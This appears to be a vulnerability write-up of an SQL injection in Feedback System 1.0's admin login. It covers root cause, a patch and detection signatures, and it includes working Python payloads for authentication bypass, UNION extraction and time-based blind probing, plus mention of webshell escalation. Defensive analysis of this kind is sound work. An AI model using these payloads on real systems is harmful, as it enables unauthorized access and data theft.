home intel cve-2026-8098-feedback-system-sql-injection-checklogin
CVE Analysis 2026-05-07 · 7 min read

CVE-2026-8098: SQL Injection in Feedback System 1.0 checklogin.php

Unauthenticated SQL injection in /admin/checklogin.php allows remote attackers to bypass authentication and dump the database via unsanitized email parameter.

#sql-injection#authentication-bypass#remote-code-execution#unsanitized-input#admin-panel
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-8098 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2026-8098HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-8098 is an unauthenticated SQL injection vulnerability in code-projects Feedback System 1.0, a PHP/MySQL web application. The vulnerable endpoint is /admin/checklogin.php, which processes the login form submitted to the admin panel. The email POST parameter is concatenated directly into a SQL query without sanitization, parameterization, or escaping. An unauthenticated remote attacker can exploit this to bypass authentication, exfiltrate database contents, and — depending on MySQL configuration — write webshells via INTO OUTFILE.

CVSS 7.3 (HIGH) reflects the network-accessible attack vector, no authentication required, and high impact to confidentiality and integrity. No special conditions or user interaction are needed. The exploit is trivially reproducible with a single curl invocation.

Affected Component

The vulnerable file is /admin/checklogin.php. This file is the sole authentication gate for the admin interface. It receives POST parameters email and password, constructs a SQL query, and evaluates the result to set a session variable. No prepared statements, mysqli_real_escape_string, or input filtering are applied at any point in the request lifecycle.

Affected version: Feedback System 1.0 (code-projects). All deployments of this version are vulnerable by default. No configuration or hardening option mitigates the underlying flaw.

Root Cause Analysis

The following pseudocode reconstructs checklogin.php based on the PHP/MySQL patterns common to this codebase and the disclosed vulnerability class. The bug is a textbook first-order SQL injection caused by direct string interpolation of user-controlled input into a query executed via mysqli_query().


/*
 * Pseudocode reconstruction of /admin/checklogin.php
 * Vulnerable function: implicit (procedural PHP, no function wrapper)
 * Sink: mysqli_query() with unsanitized $email
 */

void checklogin_handler(HTTP_REQUEST *req, DB_CONN *db) {
    char *email    = http_post_param(req, "email");    // attacker-controlled
    char *password = http_post_param(req, "password"); // attacker-controlled

    // BUG: email is interpolated directly into query string — no escaping,
    // no parameterization. Attacker controls the entire WHERE clause.
    char query[512];
    snprintf(query, sizeof(query),
        "SELECT * FROM admin WHERE email='%s' AND password='%s'",
        email,     // <-- injection point
        password
    );

    DB_RESULT *result = mysqli_query(db, query);

    if (mysqli_num_rows(result) > 0) {
        // Authentication bypassed: session granted unconditionally
        session_set(req, "admin_logged_in", TRUE);
        http_redirect(req, "/admin/dashboard.php");
    } else {
        http_redirect(req, "/admin/index.php?error=1");
    }
}

The PHP source equivalent that produces this behavior:


// PHP source (reconstructed):
// $email is pulled from $_POST with no sanitization
$email    = $_POST['email'];
$password = $_POST['password'];

// BUG: direct interpolation — attacker owns the WHERE clause
$sql    = "SELECT * FROM admin WHERE email='$email' AND password='$password'";
$result = mysqli_query($conn, $sql);

if (mysqli_num_rows($result) > 0) {
    $_SESSION['admin'] = true;
    header("Location: dashboard.php");
}
Root cause: The email POST parameter is interpolated without escaping or parameterization directly into a mysqli_query() call, allowing an attacker to terminate the string literal and inject arbitrary SQL logic.

Exploitation Mechanics


EXPLOIT CHAIN:
1. Attacker sends POST /admin/checklogin.php with crafted email parameter
2. Server constructs query:
      SELECT * FROM admin WHERE email='' OR '1'='1'-- ' AND password='...'
3. The injected OR '1'='1' makes the WHERE clause always true
4. mysqli_num_rows() returns >= 1; session is granted without valid credentials
5. Attacker is redirected to /admin/dashboard.php as authenticated admin
6. From dashboard: enumerate tables, dump credentials, or escalate via
   INTO OUTFILE to drop a PHP webshell (if FILE privilege is granted)

Authentication bypass (minimal payload):


import requests

TARGET = "http://target.example.com/admin/checklogin.php"

# Classic OR-bypass — terminates the email string literal,
# injects a tautology, comments out the password clause.
payload = {
    "email":    "' OR '1'='1'-- -",
    "password": "irrelevant"
}

session = requests.Session()
resp = session.post(TARGET, data=payload, allow_redirects=True)

if "dashboard" in resp.url or "logout" in resp.text.lower():
    print("[+] Authentication bypassed. Session cookies:", session.cookies)
else:
    print("[-] Exploit failed. Response:", resp.status_code)

Data exfiltration via UNION-based injection:


import requests

TARGET = "http://target.example.com/admin/checklogin.php"

# Step 1: Determine column count (assume 3 from typical admin table schema)
# Step 2: UNION SELECT to exfiltrate admin credentials
# The injected query appends a synthetic row that satisfies num_rows > 0
# while pulling data from information_schema or the admin table itself.

union_payload = {
    # Injects: SELECT null,email,password FROM admin LIMIT 1
    # Reflected via session or error — blind extraction requires timing/boolean
    "email":    "' UNION SELECT null, email, password FROM admin LIMIT 1-- -",
    "password": "x"
}

resp = requests.post(TARGET, data=union_payload)
print("[*] Response length:", len(resp.text))
# Blind: compare response length / timing against baseline to confirm injection

Time-based blind confirmation:


import requests, time

TARGET = "http://target.example.com/admin/checklogin.php"

# If UNION output is not directly observable, confirm injection via latency.
# SLEEP(5) executes only when the injected condition is evaluated.
blind_payload = {
    "email":    "' OR SLEEP(5)-- -",
    "password": "x"
}

t0 = time.time()
requests.post(TARGET, data=blind_payload, timeout=15)
elapsed = time.time() - t0

if elapsed >= 5:
    print(f"[+] Blind SQLi confirmed — response delayed {elapsed:.2f}s")
else:
    print(f"[-] No delay ({elapsed:.2f}s) — may not be vulnerable")

Memory Layout

SQL injection in PHP/MySQL does not involve heap or stack corruption; the vulnerability is a query-logic flaw. The relevant "memory" to examine is the SQL parse tree and session state before and after injection.


QUERY STATE — LEGITIMATE REQUEST:
  Input:  email="admin@example.com", password="secret"
  Query:  SELECT * FROM admin WHERE email='admin@example.com'
                                AND password='secret'
  Parse:
    WHERE
    ├── email = 'admin@example.com'   [LITERAL — controlled by DB]
    └── password = 'secret'           [LITERAL — controlled by DB]
  Result: 0 or 1 rows (credential-gated)

QUERY STATE — INJECTED REQUEST:
  Input:  email="' OR '1'='1'-- -", password="x"
  Query:  SELECT * FROM admin WHERE email='' OR '1'='1'-- ' AND password='x'
  Parse:
    WHERE
    ├── email = ''                     [empty — not matched]
    └── OR '1'='1'                     [TAUTOLOGY — always TRUE]
        -- remainder is commented out
  Result: ALL rows returned unconditionally

SESSION STATE BEFORE:
  $_SESSION['admin'] = (unset)         // no access

SESSION STATE AFTER INJECTION:
  $_SESSION['admin'] = true            // full admin access granted
  → dashboard.php, user management, feedback data — all exposed

Patch Analysis

The correct fix is to replace dynamic query construction with a prepared statement. Secondary hardening includes password hashing (plaintext passwords in the admin table are a compounding weakness visible in the schema).


// BEFORE (vulnerable): direct interpolation, no escaping
$email    = $_POST['email'];
$password = $_POST['password'];
$sql      = "SELECT * FROM admin WHERE email='$email' AND password='$password'";
$result   = mysqli_query($conn, $sql);

if (mysqli_num_rows($result) > 0) {
    $_SESSION['admin'] = true;
    header("Location: dashboard.php");
}


// AFTER (patched): parameterized prepared statement
$email    = $_POST['email'];
$password = $_POST['password'];

// Prepared statement: $email and $password are bound as data,
// never interpreted as SQL syntax regardless of content.
$stmt = mysqli_prepare($conn,
    "SELECT id, password_hash FROM admin WHERE email = ?");
mysqli_bind_param($stmt, "s", $email);
mysqli_execute($stmt);
mysqli_bind_result($stmt, $admin_id, $stored_hash);

if (mysqli_fetch($stmt)) {
    // ADDITIONAL FIX: passwords must be hashed (bcrypt/argon2).
    // password_verify() is constant-time; strcmp() is not.
    if (password_verify($password, $stored_hash)) {
        $_SESSION['admin_id'] = $admin_id;
        header("Location: dashboard.php");
        exit;
    }
}

// Explicit failure — no session set
header("Location: index.php?error=1");
exit;

A secondary defense-in-depth measure is a Web Application Firewall rule blocking common injection metacharacters (', --, UNION, SLEEP) on the login endpoint, though this is not a substitute for parameterized queries.

Detection and Indicators

The following patterns in web server access logs indicate active exploitation attempts against this endpoint:


SUSPICIOUS LOG PATTERNS (/var/log/apache2/access.log or nginx equivalent):

POST /admin/checklogin.php — flag requests containing:
  email=%27                        # URL-encoded single quote
  email='+OR+                      # OR-bypass attempt
  email='+UNION+SELECT             # UNION-based exfiltration
  email='+AND+SLEEP(               # time-based blind probe
  email='+AND+1=1--                # boolean-based probe
  email=admin%40%25+--+-           # comment sequence

HTTP response size anomaly:
  Baseline (failed login):  redirect 302 → index.php?error=1
  Injected (bypass):        redirect 302 → dashboard.php
  → Alert on POST /admin/checklogin.php → 302 → dashboard.php
    without a valid credential in your auth log

Sqlmap default UA (common automated exploitation):
  User-Agent: sqlmap/1.x.x#stable (https://sqlmap.org)

WAF/IDS signature (Snort/Suricata format):


alert http any any -> $HTTP_SERVERS $HTTP_PORTS (
    msg:"CVE-2026-8098 SQLi probe against Feedback System checklogin";
    flow:established,to_server;
    http.method; content:"POST";
    http.uri; content:"/admin/checklogin.php";
    http.request_body;
    pcre:"/email=[^&]*(%27|'|--|%2D%2D|UNION|SLEEP|OR\s+['1])/i";
    classtype:web-application-attack;
    sid:20268098; rev:1;
)

Remediation

Immediate (required):

  • Replace all mysqli_query() calls that interpolate user input with mysqli_prepare() + mysqli_bind_param(). This applies to checklogin.php and any other query-constructing file in the application.
  • Hash stored passwords with password_hash($password, PASSWORD_BCRYPT) and verify with password_verify(). Plaintext or MD5 passwords in the admin table are a critical compounding weakness.
  • If immediate patching is not possible, restrict access to /admin/ by IP via .htaccess or nginx allow/deny directives.

Defense in depth:

  • Run MySQL as a least-privilege user — the application account should not hold FILE, SUPER, or GRANT privileges, preventing INTO OUTFILE webshell escalation.
  • Enable PHP's display_errors = Off in production to suppress error-based injection feedback.
  • Deploy a WAF rule matching the Snort signature above in blocking mode.
  • Audit all other .php files in the project for the same pattern ($_POST/$_GET directly in query strings) — applications of this vintage frequently have multiple injection points.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →